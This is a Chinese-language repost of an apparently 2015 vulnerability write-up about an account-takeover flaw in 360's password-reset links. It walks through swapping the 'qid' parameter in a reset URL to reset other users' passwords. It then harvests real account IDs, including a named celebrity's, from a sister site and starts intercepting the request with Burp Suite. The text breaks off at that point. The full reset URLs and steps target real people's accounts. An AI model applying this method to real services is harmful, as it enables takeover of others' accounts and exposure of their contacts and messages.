360任意用户密码修改 - 网站安全

360任意用户密码修改 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-15 14:59 作者：阅读:次

[导读] 360任意用户密码修改（危急360手机卫士、360云盘、360浏览器云同步，可泄露通讯录、短信、通话记录等）还有某女明星账号哦！ps：测试了好几个360高管的邮箱，结果人家根本就没用自己...

360任意用户密码修改（危急360手机卫士、360云盘、360浏览器云同步，可泄露通讯录、短信、通话记录等）

还有某女明星账号哦！

ps：测试了好几个360高管的邮箱，结果人家根本就没用自己的产品...

本小学生记性不好，360账号的密码很及时的忘记了。

于是有了如下情节。

找回账号密码，然后发了一篇邮件到我邮箱。

http://i.360.cn/findpwd/setpwdfromemail?vc=e%2FwljiqD9WGv%2FwDyS93BghveGh%2FDYG4oMjJwcxGlcnSDZP3qIW4deYwnCpkdbCSZ3ByODXHZYDCx32A46l%2FBXxk6qo5oABIr6ZrywAoPB8DZuX81j%2Bb%2F2w%3D%3D&qid=507290669

这是修改密码的连接地址有没有发现亮点？

qid=507290669 qid如果被修改别人的是否会有用呢

然后修改为

http://i.360.cn/findpwd/setpwdfromemail?vc=e%2FwljiqD9WGv%2FwDyS93BghveGh%2FDYG4oMjJwcxGlcnSDZP3qIW4deYwnCpkdbCSZ3ByODXHZYDCx32A46l%2FBXxk6qo5oABIr6ZrywAoPB8DZuX81j%2Bb%2F2w%3D%3D&qid=507290670

然后360网站提示可以修改哦的天啊

那这样的话不是所有的账号都可以改了为什么会鸡肋呢？

问题是不知道别人的账号啊进去个人中心也没有这个id提示

别着急我们继续挖

发现360旗下的一个网站：

http://www.woxihuan.com/

http://www.woxihuan.com/star/timeline?qid=268296138

是不是发现了什么? 没错 qid=268296138

这个qid 我们找的是明星苗圃的

然后构造如下链接：

http://i.360.cn/findpwd/setpwdfromemail?vc=e%2FwljiqD9WGv%2FwDyS93BghveGh%2FDYG4oMjJwcxGlcnSDZP3qIW4deYwnCpkdbCSZ3ByODXHZYDCx32A46l%2FBXxk6qo5oABIr6ZrywAoPB8DZuX81j%2Bb%2F2w%3D%3D&qid=268296138

我们寄出神器 Burpsuite

在利用找回密码链接修改密码时我们截取它post的包